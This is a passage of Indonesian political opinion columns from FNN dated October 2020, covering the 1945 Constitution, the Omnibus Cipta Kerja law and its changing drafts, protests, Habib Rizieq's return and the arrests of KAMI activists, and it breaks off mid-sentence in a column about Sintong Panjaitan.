Universitas Indonesia. Mereka mendirikan Budi Utomo, 20 Mei 1908, yang saat ini kita peringati sebagai Hari Kebangkitan Nasional. Kedua. Kongres Pemuda II tanggal 27-28 Oktober 1928, melahirkan ikrar bertanah air satu, berbangsa satu dan berbahasa satu Indonesia. Hadir pada kongres tersebut para utusan Perhimpunan Pelajar Pelajar Indonesia, Jong Java, Jong Sumatranen Bond, Jong Bataks Bond, Jong Islamieten Bond, Pemuda Indonesia, Jong Celebes, Jong Ambon, Khatolikee Jongelingen Bond, Pemuda Kaum Betawi, Sekar Rukun, dan lain-lain. Tanggal 28 Oktober, kini kita peringati sebagai Hari Sumpah Pemuda. Ketiga, “dalam Negara Indonesia, maka Kepala Negara, pusat pemerintahan, pemerintah daerah dan pemerintahan persekutuan desa (negeri, marga, dan lain-lain) dipilih secara Timur dalam permusyawaratan yang disusun secara rakyat. Negara Rakyat Indonesia adalah pemerintah syuriyah, pemerintahan yang didasarkan atas permusyawaratan antar orang berilmu dan berakal sehat, yang dipilih atas faham perwakilan”. (Prof. Mr. Muhammad Yamin, 29/5/1945, Sidang BPUPKI). Keempat, “disini kita dapat membuktikan bahwa dalam permusyawaratan seperti sekarang ini yang maksudnya akan membereskan sesuatu perkara dengan jalan mempersatukan pendapat-pendapat yang bertentangan sehingga menjadi bulat. Tetapi persatuan dan kebulatan itu tak mungkin tercapai selagi masih ada watak yang suka apa-apa kehendak sendiri... Inilah misal yang terdapat pada umumnya orang yang mengajak, “marilah kita bermusyawarat!”. (Ki Bagoes Hadikoesoemo, 31/5/1945, Sidang BPUPKI). Kelima, “caranya mengangkat pemimpin negara itu hendaknya janganlah diturut cara pilihan menurut sistem demokrasi Barat. Karena pilihan secara sistem demokrasi Barat itu berdasar atas faham perseoragan. Tuan-tuan sekalian hendaknya insaf kepada konsekuensi dari pendirian menolak dasar perorangan itu. Menolak dasar individualisme berarti menolak juga sistem perlementarisme. Menolak sistem demokrasi Barat, berarti menolak sistem yang menyamakan manusia satu sama lain seperti angka-angka belaka yang semuanya sama harganya”. (Prof. Mr. Dr. Soepomo, 31/5/1945, Sidang BPUPKI). Keenam, “kalau kita mencari demokrasi, hendaknya bukan demokrasi Barat, tetapi permusyawaratan yang memberi hidup, yakni politiek economische democratie yang mampu mendatangkan kesejahteraan sosial... Saudara-saudara badan permusyawaratan yang akan kita buat, hendaknya bukan badan permusyawaratan politiek democratie saja. Tetapi badan yang bersama dengan masyarakat dapat mewujudkan dua prinsip, politiek rechtvaardighied dan sociale rechtvaardigheid”. (Ir. Soekarno, 1/6/1945, Sidang BPUPKI). Ketujuh, “sidang yang terhormat. Pada hari ini kita berada pada satu saat yang mengandung sejarah. Pada hari ini kita menyusun Undang-undang Dasar Negara Indonesia yang kemerdekaannya kemarin, menurut kehendak rakyat, telah dipermaklumkan dengan proklamasi yang telah diumumkan pula kepada rakyat kira-kira jam setengah 12 (Nippon)”. (Ir. Soekarno, Ketua PPKI, 18/8/1945, Sidang PPKI). Rakyat, Permusyawaratan dan Perwakilan Untuk memahami Dasar Negara dan UUD 1945, tidak boleh hanya membaca teksnya saja. Tetapi nilai-nilai budaya yang melingkupi, sejarah perjuangan bangsa dan suasana kebatinan saat disusun, sangat diperlukan. Tujuh butir strategic assessment di atas, merupakan nilai-nilai yang mendasari sampai tersusunnya Dasar Negara dan UUD 1945. “The founding fathers” Muhamad Yamin, Ki Bagoes Hadikoesoemo, Soepomo dan Soekarno memiliki nafas yang sama bahwa negara dibangun harus berdasar atas kepentingan rakyat dan pengambilan keputusan secara musyawarah dan perwakilan. Rakyat adalah ‘kunci’ dalam bernegara yang tidak boleh diabaikan. Kita harus menghargai kemajemukan yang ada di kehidupan rakyat. Budi Utomo dan organisasi pemuda yang melakukan Kongres Pemuda sebagai bukti negara bukan milik Partai Politik. Masih banyak komponen rakyat di luar Partai Politik. Kehadiran utusan dari daerah pada Kongres Pemuda II tanggal 27-28/10/1928, mencerminkan adanya budaya sistem perwakilan dan musyawarah dalam mengambil keputusan. Mengapa demokrasi Barat yang dalam sidang BPUPKI untuk mencari dasar negara, semua tokoh bangsa menolaknya? Karena demokrasi Barat itu bukan budaya kita. Nilai-nilai yang disampaikan Yamin, Ki Bagoes Hadikoesoemo, Soepomo dan Soekarno saat mencari Dasar Negara di sidang BPUPKI, digunakan sebagai bahan. Melalui musyawarah perwakilan, diputuskan Dasar Negara Republik Indonesia pada sidang PPKI, 18/8/1945, sebagaimana pada alinea ke-4 Pembukaan UUD 1945 dan kita namakan Pancasila. Kata kunci rakyat, musyawarah dan perwakilan, ternarasikan dalam Sila ke-4, “ Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan”. Inilah demokrasi Indonesia, kata Bung Karno pada Sidang Uumum PBB tahun 1960. Baca “Dwi Azimat Bangsa Indonesia Versus Pikiran Filosof Bertrand Russell, Menepis Pancasila Tidak Ada di UUD 1945” (Google) Makna Presiden Mandataris MPR Nilai-nilai Pancasila mengalir ke dalam pasal-pasal UUD 1945 secara mantik. Sila ke-4 mengalir ke dalam Pasal 1 ayat (2), Pasal 2 ayat (1), Pasal 3 dan Pasal 6 ayat (2). Bahwasannya, Kedaulatan rakyat dipegang oleh MPR, sebagai penjelmaan seluruh rakyat Indonesia. MPR yang terdiri anggota DPR, Utusan Daerah dan Utusan Golongan. MPR memegang kekuasaan negara yang tertinggi, menetapkan Undang-undang Dasar dan garis-garis besar daripada haluan negara. Presiden dipilih MPR. Tunduk dan bertanggung jawab kepada MPR. Wajib menjalankan putusan-putusan MPR dan harus menjalankan Haluan Negara menurut garis-garis besar yang ditetapkan oleh MPR. Karena itulah Presiden disebut “Mandataris MPR”. Sedangkan UUD 2002, MPR bukan penjelmaan rakyat Indonesia. Nyaris isinya orang Parpol, anggota DPR dan DPD. Parpol yang punya hak ajukan calon Presiden/Wapres. Itupun tidak adil. Ketika ada “Presidential Threshold”, partai gurem terpaksa “membebek”. Beda dengan di UUD 1945, Utusan Daerah dan Utusan Golongan juga memiliki hak. Pemilihan Presiden/Wapres melalui MPR jauh dari konflik. Jauh dari perpecahan dan rusaknya sosial budaya di masyarakat. Dalam kaitan kekuasaan Presiden membentuk undang-undang dengan persetujuan DPR, untuk pengujian undang-undang bisa dilakukan MA. Berarti, kita tidak perlu MK. Kisruh UU Cipta Kerja mewarnai pro dan kontra di pertengahan Oktober 2020. Prof. Jimly pun berkomentar “……, bagaimana logikanya Presiden mau menggunakan hak prerogatif bikin Perppu untuk membatalkan UU Cipta Kerja yang menjadi ambisi pribadinya, dan sudah berhasil disetujui DPR” (Jpnn.com/news, 11/10/2020). Disini tidak mengulas kisruh UU Cipta Kerja. Hanya ingin berpendapat bahwa untuk kelak kemudian hari. Apabila Presiden/Wapres masih dipilih langsung, tidak menutup kemungkinan, Presiden/Wapres bisa tersandera Parpol dan kekuatan tertentu. Akibatnya, kebijakannya bisa sebagai ambisinya ataupun kepentingan kelompok. Tidak bisa untuk rakyat secara berkeadilan sosial bagi seluruh rakyat Indonesia. Yakinilah, sistem di UUD 1945 lebih baik dan sesuai Pancasila. MPR terdiri dari anggota DPR, Utusan Daerah dan Utusan Golongan, dan memilih Presiden/Wapres, sehingga Presiden memiliki surat Ketetapan Jabatan sebagai Presiden. Ketetapan MPR tentang jabatan sebagai Presiden/Wapres tentu memiliki legalitas lebih bergengsi dibanding hanya Ketapan KPU sebagi pemenang Pemilu. Presiden mandataris MPR tentu selalu berpikir untuk rakyatnya. Jauh dari ambisi pribadi/golongan. Rakyat bisa dan berhak mengontrol Presiden lewat MPR. Jadi tidak perlu takut dan ragu untuk kembali ke UUD 1945. Selanjutnya kita sempurnakan dengan adendum. Persoalan HAM dan kelestarian NKRI yang dikhawatirkan Amien Rais, akan kita bahas pada artikel bagian-4 selanjutnya. Semoga bisa dipahami dan bermanfaat. Insya Allah, amin. Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Kata Ali Ngabalin, Pendemo “Sampah Demokrasi”

by M Rizal Fadillah Bandung FNN – Rabu (14/10). “Sampah Demokrasi”. Itu adalah ucapan Tenaga Ahli Utama Kantor Kepala Staf Kepresidenan (KSP) Ali Mochtar Ngabalin untuk menyebut peserta aksi menolak Undang-Undang Omnibus Law Cipta Kerja. Sampah demokrasi satu ungkapan yang cukup menyentak. Aksi unjuk rasa di masa Covid dinilai Ali Ngabalin sebagai “sampah demokrasi”. Sampah itu sebutanag untuk barang-barang sisa, bekas pakai, busuk dan yang tidak lagi berguna. Dikumpulkan dan dibuang di tempat sampah. Agar tidak berbau busuk, biasanya sampah tersebut ada yang dibakar. Ungkapan sampah demokrasi tentu tidak layak terlontar dari orang berpendidikan. Hanya pantas untuk diucapkan oleh "bukan anak sekolahan". Unjuk rasa bukan saja peroslan Hak Asasi Manusia (HAM). Tetapi juga kegiatan yang sangat mulia dan berani tinggi dalam sebuah negara demokrasi. Nilai universal adalah memberi penghargaan atas hak warga negara untuk berunjuk rasa. Hanya negara dengan pemimpin pengecut yang anti terhadap demokrasi, yang mau menumpas unjuk rasa. Tidak ada sampah dalam hal yang baik, meskipun itu dalam situasi berat. Ketika Covid 19 menghalangi, terobosan seperti unjuk rasa untuk suatu tujuan yang mulia dan bernilai tinggi adalah bentuk rela berkorban dan heroisme. Melawan siapa saja pemimpin yang zilom jahat adalah hak dan kewajiban yang sangat mulia. Korbannya mendapat tempat mulia di hadapan Allah Subhanahu Wata’ala. Ali Ngabalin dengan sinis menekankan opsi Judisial Review ke Mahkamah Konstitusi sebagai satu-satunya jalan hukum. Sepertinya ini adalah langkah logis. Tetapi disamping adanya hak untuk meragukan integritas para hakim di Mahkamah Konstitusi, juga MK kini sudah terkebiri untuk pasal yang berkaitan dengan eksekutorialnya. Unjuk rasa dan demontrasi tidak lain merupakan upaya politik yang dilindungi hukum yang disediakan oleh setiak negara demokrasi kepada warga negaranya. Tujuanya untuk menyapaikan sikap dan pendapat atas keluarnya sebuah produk politik atau hukum, seperti Peraturan Pemerin tah Pengganti Undang-Undang (Perppu) misalnya. Atau mungkin saja Dewan Perwakilan Rakyat (DPR) menyadari bahwa putusan yang diambilnya itu cacat hukum sehingga terjadi perdebatan politik baru. Undang-Undang Omnibus Law Cipta Kerja adalah aturan yang berbahaya untuk rakyat Indonesia. Juga dan dapat merusak banyak bidang sosial kemasyarakatan. Karenanya wajar jika rakyat Indonesia yang terdiri dari para buruh, mahasiswa, pelajar ulama, para Guru Besar dan aktivis lainnya mereaksi kera untuk mendesak pembatalan. Undang-Undang ini dibuat hanya untuk kepentingan para oligarki, korporasi dan konglomerasi busuk, licik, picik, culas dan tamak. Namun yang dirasakan aneh adalah Pemerintah seperti bebal dan budeg. Pemerintah cenderung menafikan aspirasi dari mayoritas rakyat Indonesia. Bahkan melakukan banyak penangkapan terhadap para demontran. Akibatnya yang timbul adalah, kedaulatan hukum dan kedaulatan rakyat menjadi terusik. Untuk jangan seenak perutnya Tuan Ali Ngabalin mengatakan bahwa unjuk rasa itu sebagai “sampah demokrasi”. Jangan-jangan kita sendiri yang sok apik tersebut adalah sampah yang sebenarnya. Kata orang kampong, “mulut senang memukul badan” Jangan-jangan siapapun orangnya yang bergelantungan di pagar istana atau menjadi penonton semata, maka bisa jadi orang tersebut adalah sampah tirani atau sampah oligarkhi. Dan yang lebih mendekati ya sampah fulusi masyarakat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Habib Riziek Pulang, Mau Pimpin Revolusi?

by Tony Rosyid Jakarta FNN – Rabu (14/10). Berita di Republika online mengejutkan publik. Bahwa cekal Habib Rizieq Shihab (HRS) dicabut oleh pemerintah Arab Saudi. Dampkanya, HRS akan segera pulang. Infoermaso ini disampaikan Ketua Umum Front Pembela Indonesia (FPI), KH Sobri Lubis atas mobil komando saat demo di depan patung kuda kemarin (13/10). Kapan persisinya HRS pulang? Kabarnya, dalam waktu dekat. Bisa minggu ini. Bisa juga minggu depan. Sepertinya, HRS akan mempertimbangkan situasi politik dan eskalasi demo yang berlangsung akhir-akhir ini di sejumlah kota-kota besar tanah air. Tepatnya, nunggu momentum yang pas. Kepulangan HRS untuk memimpin revolusi, kata Ketua Umum FPI KH Sobri Lubis. Maksudnya? Tentu saja bukan revolusi mental ala Jokowi. Bukan revolusi industri ala Inggris. Bukan pula revolusi politik model Perancis atau revolusi berdarah ala komunis. Lalu? Kalau dihubungkan dengan sejumlah narasi HRS selama ini, dimana pendiri FPI ini berulangkali meminta presiden Jokowi mundur, maka revolusi yang dimaksud sepertinya "revolusi Jokowi mundur". Itu nggak makar ya? Refly Harun, ahli hukum tata negara bilang, itu bukan makar. Tidak yang melanggar hukum. Namanya juga tuntutan. Dari mobil komando demo 13 Oktober kemarin, kendaraan yang digunakan oleh ketua FPI untuk mengumumkan kepulangan HRS, ada spanduk bertuliskan tuntutan Jokowi mundur. Spanduk semacam ini sudah beberapa kali ada di mobil komando saat FPI turun demo. Artinya, HRS dan FPI konsisten meminta Jokowi mundur. Selama ini, nggak ada yang mengejutkan, baik narasi HRS maupun spanduk FPI terkait tuntutan Jokowi mundur. Bukan sesuatu yang wah dan membuat masyarakat kaget. Kenapa? Sudah lama didengungkan, dan sampai hari ini Jokowi masih tetap presiden. Nggak mundur! Bagaimana jika kelak tuntutan agar "Jokowi mundur" tersebut disampaikan langsung oleh HRS di tengah lautan massa pelajar, mahasiswa, buruh dan umat Islam yang demo terkait UU Omnibus Law? Apakah akan punya efek kejut? Setuju tidak setuju, suka tidak suka, saat ini HRS adalah maestro gerakan moral. Pertama, HRS sangat konsisten. Terus ambil posisi sebagai oposisi dan menjadi pihak yang selalu mengkritisi pemerintah. Kedua, HRS punya keberanian yang stabil untuk melakukan perlawanan terhadap rezim. Ketiga, punya massa terstruktur dan militan. Jelas pendukungnya. Sekali HRS instruksikan demo, ribuan hingga jutaan massa akan turun. Ini fakta. Bukan mengaram bebas.com. Soal ini, HRS belum bisa ditandingi oleh siapapun di Indonesia. Keempat, gak punya ambisi. Baik untuk menjadi presiden, apalagi menjadi menteri pertahanan. Tidak! Publik menilai, HRS sangat berpengaruh. Beberapa tahun lalu, tiga kali saya jumpa HRS di rumahnya di Makkah, selalu bertemu dengan orang-orang partai dan calon kepala daerah. Mereka datang untuk minta dukungan. Ini bukti betapa besar pengaruh HRS bagi masyarakat Indonesia. Kesan saya, tokoh yang satu ini memang smart. Sangat luas wawasannya. Yang paling penting lagi HRS mengantongi banyak informasi yang menunjukkan bahwa Imam Besar ini punya banyak jaringan. Rencana kepulangan HRS kali ini, pasti sudah dikalkulasi. Ada situasi dimana kekecewaan rakyat berada pada titik paling puncak. Jika demo KPU hanya melibatkan pendukung Prabowo, UU KPK dan Minerba melibatkan mahasiswa, UU Corona melibatkan elit intelektual, RUU HIP melibatkan MUI, ormas dan umat Islam, maka UU Omnibus Law Cipta Kerja ini telah menyedot perhatian serta emosi seluruh elemen bangsa. Emosi itu tidak saja dari pelajar, mahasiswa, buruh, kaum akademisi dan umat Islam. Semua komponenn bangsa marah dan turun ke jalan. Lalu kemana TNI yang katanya anak kandung rakyat itu akan berpihak nantinya? Soal ini juga penting untuk bahan analisis selanjutnya. Beberapa kali demo UU Omnibus Law Cipta Kerja sukses menghadirkan massa yang sangat besar. Buruh demo, massa yang turun sangat besar. Mahasiswa demo, jumlah massa yang turun juga sangat besar. Dan 13 oktober kemarin, FPI, PA 212 dan GNPF juga menurunkan massa yang sangat besar. Dan semua demo ini berakhir dengan kericuhan dan penangkapan. Jika dengan kericuhan dan penangkapan sejumlah tokoh dan demonstran sebagaimana yang terjadi juga pada peristiwa demo-demo sebelumnya berhasil menekan massa dan membuat demo-demo akhirnya berhenti, maka pemerintah, dalam konteks ini Jokowi sebagai kepala negara akan aman sampai 2024. Kecuali ada peristiwa lain yang lebih dahsyat, terutama krisis ekonomi. Namun, jika penangkapan terhadap demonstran dan para tokoh tidak mampu meredam demo. Tetapi sebaliknya, justru mendorong eskalisai demo makin membesar, maka akan menjadi persoalan yang bakal serius buat rezim saat ini. Dalam situasi seperti itu, kepulangan dan kehadiran HRS di tengah berlangsungnya demonstrasi bisa memberi efek kejut. Bahkan revolusi ala HRS "tidak menutup kemungkinan" benar-benar bisa terjadi. Kalau revolusi ala HRS terjadi, bagaimana next? Tunggu analisis berikutnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Polemik UU Omnibus Law: Banyak Versi untuk Tutupi Sesuatu?!

by Mochamad Toha Jakarta FNN - Rabu (14/10). Mana naskah final UU Omnibus Law atau Cipta Kerja yang benar dan asli? Setelah beredar naskah setebal 1.035 halaman yang telah dikonfirmasi sebagai naskah final, kini beredar lagi naskah setebal 812 halaman. Bagaimana dengan naskah lainnya? Sekretaris Jenderal Dewan Perwakilan Rakyat (DPR) Indra Iskandar kembali membenarkan versi 812 halaman ini. Menurut Indra, perubahan ini terjadi karena perubahan format kertas dari ukuran A4 menjadi ukuran legal. “Iya delapan ratus dua belas halaman. Kan tadi pakai format A4, sekarang pakai format legal jadi 812 halaman,” kata Indra ketika dihubungi, Senin, 12 Oktober 2020, seperti dilansir dari Tempo.co, Senin (12 Oktober 2020 20:56 WIB). Indra mengatakan naskah itu belum dikirim ke Presiden Joko Widodo atau Jokowi. Namun ia tidak merinci apakah naskah itu sudah siap dan rampung diteken para ketua kelompok fraksi (Kapoksi) Badan Legislasi serta pimpinan DPR. Indra juga tak merinci saat ditanya adanya kemungkinan perubahan substansi dari naskah teranyar ini. Dia mempersilakan hal itu ditanyakan kepada pemerintah. “Saya enggak bisa bicara substansi, saya administrasi saja,” kata Indra. Tempo pun memeriksa naskah UU Cipta Kerja versi 812 halaman. Dalam naskah terbaru ini ada penambahan di antara Bab VIA, Bab VI, dan Bab VII. Bab ini yang mengatur tentang Kebijakan Fiskal Nasional yang Berkaitan dengan Pajak dan Retribusi. Bab VIA ini terdiri dari enam pasal. Ada tiga pasal tambahan, yakni Pasal 156A, Pasal 156B, dan Pasal 159A. Kemudian ada penambahan dan perubahan ayat pada Pasal 157 dan 158. Pada Senin pagi tadi, Indra mengonfirmasi naskah setebal 1.035 halaman yang disebut akan dikirim ke Presiden Jokowi. Naskah itu pun memuat sejumlah perbedaan dari naskah setebal 905 halaman yang sebelumnya beredar pada Senin, 5 Oktober 2020. Sepekan sejak disahkan oleh DPR dan pemerintah pada Senin (5/10/2020), belum ada naskah final UI Cipta Kerja. Pada Kamis (8/10/2020), anggota Baleg DPR Firman Soebagyo berujar, masih ada beberapa penyempurnaan yang dilakukan pada RUU Cipta Kerja. “Artinya, bahwa memang draf ini dibahas tidak sekaligus final, itu masih ada proses-proses yang memang secara tahap bertahap itu kan ada penyempurnaan,” kata dia. Dikutip dari Kompas.com, Senin (12/10/2020), beredar juga draf UU Cipta Kerja dengan versi terbaru. Kali ini, terdapat draf berjumlah 1035 halaman. Di halaman terakhir, terdapat kolom untuk tanda tangan pimpinan DPR Aziz Syamsuddin. Sebelumnya, Senin, 5 Oktober, beredar dokumen yang berjudul “5 OKT 2020 RUU Cipta Kerja-Paripurna”. Dokumen tersebut berjumlah 905 halaman. Sementara itu, dalam situs DPR (dpr.go.id), draf RUU Cipta Kerja yang diunggah berjumlah 1.028 halaman, tetapi tidak memiliki tanggal yang jelas. Misteri naskah final ini menambah daftar kritikan publik terhadap UU Cipta Kerja yang sejak awal menuai kontroversi. Sampai detik ini mana draf yang benar belum juga terang betul. Meski Sekretaris Jenderal DPR melansir draf UU Cipta Kerja (versi 1.035 halaman) yang dimuat berbagai media dan disebut sebagai “yang dibahas terakhir” dan “dikirim ke Presiden”. Sebelumnya beredar versi 1.028 halaman yang dipajang di laman Kemenko Perekonomian tanggal 7 Mei 2020. Lalu versi 905 halaman yang beredar setelah Rapat Paripurna DPR 5 Oktober 2020 menyetujui. Ada juga versi 9 Oktober 2020 setebal 1.062 halaman. Jika pihak DPR dan pemerintah atau para pendukungnya berkata semua versi itu substansinya sama hanya ada perubahan format dan titik-koma sehingga jumlah halamannya berbeda, tulis Agustinus Edy Kristianto, tentu saja ini Anda layak curiga. Beda adalah beda. Sama adalah sama. Bahkan perubahan titik atau koma pun mempengaruhi arti atau makna. Jangan main-main dan menganggap remeh hal itu dalam suatu pembentukan regulasi yang akan mengikat kita semua. Lagipula kenyataannya setiap versi terjadi perubahan substansial. NU Circle yang memang memelototi sektor pendidikan menemukan dugaan ‘ketidakjujuran’ pernyataan Sekjen DPR bahwa versi 1.035 halaman (12 Oktober 2020) dan versi 905 halaman (5 Oktober 2020) substansinya sama hanya perubahan pada titik-koma. Nyatanya, ia mengubah substansi. Draf versi 1.035 halaman terdapat penjelasan Pasal 65 Ayat (1) yang justru persis sama dengan versi 1.052 halaman (9 Oktober 2020). ‘Triknya’ adalah dalam versi 1.052 dan 1.035 halaman terdapat penjelasan Pasal 65 Ayat (1) yang isinya tentang perizinan usaha pendidikan yang hanya berlaku di Kawasan Ekonomi Khusus (KEK), persis dengan pernyataan Presiden saat klarifikasi hoaks (9 Oktober 2020). Tempo melaporkan sebuah peristiwa yang terjadi pada Rabu, 7 Oktober 2020 (2 hari setelah Rapat Paripurna) di ruang Badan Legislasi DPR, Gedung Nusantara I, Kompleks Parlemen, Senayan, Jakarta. Pasal 253 tentang Revisi UU 1/2009 tentang Penerbangan diubah. Petugas menghapus kata “heliport” di belakang frasa “tempat pendaratan dan lepas landas helikopter”. Detikcom (Senin, 12 Oktober 2020) melaporkan perubahan kata “paling banyak” dalam Pasal 156 Ayat (2) yang mengatur tentang pesangon, yang berbeda antara versi 905 halaman dan 1.035 halaman. Ini indikasi dugaan yang sangat kuat bahwa antara rentang waktu Rapat Paripurna 5 Oktober 2020 sampai hari ini, naskah itu mengalami perubahan Bukan hanya perubahan titik-koma melainkan Perubahan Substansi yang mempengaruhi Arti. Tindakan itu memiliki konsekuensi hukum dan politik yang sangat serius. Para pelakunya bisa dipidana. Kedudukan hukum dan kredibilitas produk hukum ini pun berpotensi cacat dan patut dibatalkan seluruhnya baik melalui mekanisme uji formil di MK, Executive Review, maupun Legislative Review. Dalam status sebelumnya, Edy Kristianto telah mengatakan tentang proses pembentukan UU Cipta Kerja yang diduga bertentangan dengan asas pembentukan perundang-undangan yang baik terutama asas keterbukaan. Permasalahan draf RUU yang cenderung ditutup-tutupi juga telah diungkapkan Prof. Satya Arinanto pada 29 April 2020 ketika RDPU dengan DPR. UU ini juga cenderung berpihak kepada pengusaha, dibuktikan dengan pembentukan Satgas yang didominasi pengusaha. Bahkan seorang anggota Satgas melapor ke Ombudsman RI mengenai adanya keharusan menandatangani pernyataan tidak mengungkapkan draf RUU kepada pihak luar. UU Cipta Kerja sangat-sangat strategis dan penting. Mengatur banyak hal mulai dari Migas, Minerba, Ketenagalistrikan, Kelautan, Pers, Penyiaran, Pajak, Kepailitan, dan banyak lagi. Jadi, “Jangan dianggap sepele sekadar titik koma,” tegasnya. Yang jelas, jika ada yang berkata UU Cipta Kerja sangat urgent untuk menarik investasi demi lapangan kerja bagi 22 juta pengangguran, jangan mudah percaya. Skeptislah, karena itu bisa jadi pemanis belaka. Edy Kristianto juga menyoroti pembentukan lembaga baru melalui UU ini yakni Lembaga Pengelolaan Investasi-LPI (Pasal 165 draf versi 1.035 halaman). “Ini norma baru usulan pemerintah yang bisa ditelusuri dari Naskah Akademik,” tulisnya. Lembaga ini akan mendapatkan modal awal paling sedikit Rp15 triliun berupa Dana Tunai, barang milik negara, piutang negara pada BUMN/PT, dan saham milik negara pada BUMN. Dalam hal modal berkurang secara signifikan, pemerintah bisa menambah kembali modal. Lembaga ini kuat kedudukannya dan hanya dapat dibubarkan dengan undang-undang. Mimpinya ingin meniru superholding BUMN seperti Temasek (Singapura) dan Khazanah (Malaysia), seperti yang dulu digaungkan dalam kampanye Pilpres. Tapi ingat, ini wilayah panas yang sinyal kuat potensi korupsinya tinggi. Investasi bisa untung, bisa rugi dan bagaimana status keuangan negara di situ, bagaimana pula pertanggungjawaban pidananya. Belum lagi kredibilitas pengelolanya. “Bagaimana jika dimanfaatkan selayaknya bisnis manajemen aset swasta, yang sebagian besar aktornya saya amati dominan berperan dalam pembentukan UU ini,” ujarnya. Yang jelas, jika ada yang berkata UU Cipta Kerja sangat urgent untuk menarik investasi demi lapangan kerja bagi 22 juta pengangguran, jangan mudah percaya. Skeptislah, karena itu bisa jadi pemanis belaka. Edy Kristianto mengingatkan, UU Cipta Kerja bisa juga kita curigai menjadi alat segelintir orang untuk menjadi broker investasi asing dengan menjual kekayaan negara ini. “Lapangan kerja bagi pengangguran belum terwujud, tapi pundi-pundi harta orang-orang itu sudah gemuk terlebih dulu,” katanya. Melansir Koran Tempo, Selasa (13/10/2020), munculnya sejumlah versi UU Cipta Kerja dengan sejumlah perubahan pada subtansi pasal setelah disahkan DPR dalam paripurna pada 5 Oktober 2020 menjadi tanda cacat formal. Pakar hukum tata negara Bivitri Susanti mengatakan perubahan subtansi setelah pengesahan menunjukkan rendahnya legitimasi dalam perumusan Undang-undang tersebut. “Dari sisi legal, itu sudah melanggar,” katanya seperti dikutip Koran Tempo. Berdasarkan UU Nomor 12 tahun 2011, DPR memiliki waktu 7 hari untuk merapikan draf UU yang disahkan kepada Presiden Jokowi. Tapi, menurut UU, yang boleh diubah hanya kesalahan ketik dan penyesuaian format tulisan. Perubahan subtansi tidak diperkenankan karena bakal mengubah materi Undang-undang. “Mengubah satu ayat pun tidak boleh. Itu sama dengan pencurian pasal,” ujarnya. *** Penulis wartawan senior FNN.co.id

IPW: Penangkapan Aktivis KAMI Hanya Manuver untuk Memancing Gatot

by Neta S Pane Jakarta FNN - Rabu (14/10). Selama rejim Jokowi berkuasa, penangkapan petinggi KAMI kemarin adalah penangkapan aktivis kritis yang kelima kalinya. Empat penangkapan terdahulu dengan tuduhan makar. Tapi akhirnya semua tertuduh dibebaskan. Kasusnya tidak sampai dilanjutkan ke pengadilan. Padahal tuduhannya sangat serius, yakni makar. Tapi kok tidak lanjut ke pengadilan. Sebab rejim Jokowi pun tidak yakin dengan tuduhan makarnya, sehingga setelah ditahan beberapa Minggu para aktivis kritis tsb dibebaskan semuanya. Jadi tiga penangkapan terdahulu yg dilakukan rejim Jokowi hanyalah sekadar traphi kejut buat para aktivis kritis dan buat proses demokrasi. Bagaimana dgn penangkapan Syahganda Cs atau para petinggi KAMI? Ind Police Watch (IPW) menilai, kasus Syahganda Cs setali tiga uang dengan kasus makar terdahulu. Artinya, semua itu tak lain hanya sekadar traphi kejut untuk para pengikut KAMI di tengah maraknya aksi demo buruh yang menolak UU Ciptaker yang kontroversial. IPW melihat, Sejak semula rejim Jokowi sudah mengincar pergerakan dan manuvet KAMI, yang dianggap cenderung menjengkelkan. Berbagai aksi penolakan di berbagai daerah sudah "dilakukan" tapi aktivis KAMI tetap "bandel" untuk bermanuver. Untuk menangkap mereka tidak ada alasan yang tepat. Sebab ujuk ujuk menangkap mereka pasti akan ramai ramai dikecam publik. Sehingga pas ada momentum aksi demo menolak UU Ciptaker, penangkapan terhadap para petinggi KAMI pun dilakukan. Penangkapan ini sama seperti dilakukan rejim Jokowi terhadap Hatta Taliwang cs mapun Eggi Sudjana cs yang dilakukan saat akan terjadinya aksi demo besar di periode pertama pemerintahan Jokowi. Begitu juga saat ini, saat penangkapan terhadap Syahganda Cs dilakukan, saat itu sedang maraknya aksi demo maupun rencana demo besar. Ada tiga tujuan penangkapan Syahganda Cs. Pertama untuk mengalihkan konsentrasi buruh dalam melakukan aksi demo dan menolak UU Ciptaker. Kedua, memberi teraphi kejut bagi KAMI dan jaringannya agar tidak melakukan aksi aksi yang "menjengkelkan" rejim Jokowi. Ketiga, menguji nyali Gatot Nurmantio sebagai tokoh KAMI, apakah dia akan berjuang keras membebaskan Syahganda Cs atau tidak. Jika dia terus bermanuver bukan mustahil Gatot juga akan diciduk rejim, sama seperti rejim menciduk sejumlah purnawirawan di awal Jokowi berkuasa di periode kedua kekuasaannya sebagai presiden. Jika melihat tuduhan yang dikenakan kepada Syahganda Cs tuduhan itu adalah tuduhan ecek ecek dan sangat lemah serta sangat sulit dibuktikan. Sehingga IPW melihat kasus Syahganda Cs ini lebih kental nuansa politisnya. Sasarannya bukan untuk mencegah aksi penolakan terhadap UU Ciptaker tapi lebih kepada manuver untuk menguji nyali Gatot Nurmantio. Sehingga pada ujungnya nanti Syahganda Cs diperkirakan akan dibebaskan dan kasusnya tidak sampai ke pengadilan seperti empat kasus makar terdahulu, terutama kasus Hatta Taliwang cs. Penulis Ketua Presidium Indonesia Police Watch

Sintong Panjaitan, Sama Ngawurnya Dengan Luhut

by M Rizal Fadillah Bandung FNN – Rabu (14/10). Adalah Sintong Panjaitan yang berkoar-koar bahwa komunis sama sekali sudah tidak ada. Lanjut Sintong, komunis sudah habis di dunia. Buta sekali rupanya Sintong Panjaitan ini. Dia seolah-olah tidak bisa melihat ada Partai Komunis Cina. Apakah Republik Rakyat Cina (RRC) itu ideologi komunisnya sudah berubah jadi ideologi agama? Tidak juga boss Sintong. Masih tetap komunis tuh. Walaupun begitu, RRC tidak mengurung diri di rumahnya. Tidak me-lockdown negerinya. Justru sekarang negara komunis tersebut sedang giat-giatnya mengembangkan pengaruh dan kekuasaannya. Hegemoni Cina luar biasa terbangun di berbagai belahan dunia. Bahkan warganegara bangsa lain yang keturunan Cina diakui dan dijadikan jaringan kepentingan politiknya. Begitu juga dengan Partai Komunis Cina yang mencanangkan jaringan kepada orang-orang Cina diaspora. Sementara program One Belt One Road (OBOR) membuat Cina bercahaya di mana-mana. Indonesia termasuk yang tertipu, karena telah menjadikan Cina sebagai Mbah, bahkan menjadi berhala. Masyarakat melihat liason officernya (LO) adalah Bapak Menteri Kordinator Maritim an Investasi Jendral kehormatan NTI (Purn.) Luhut 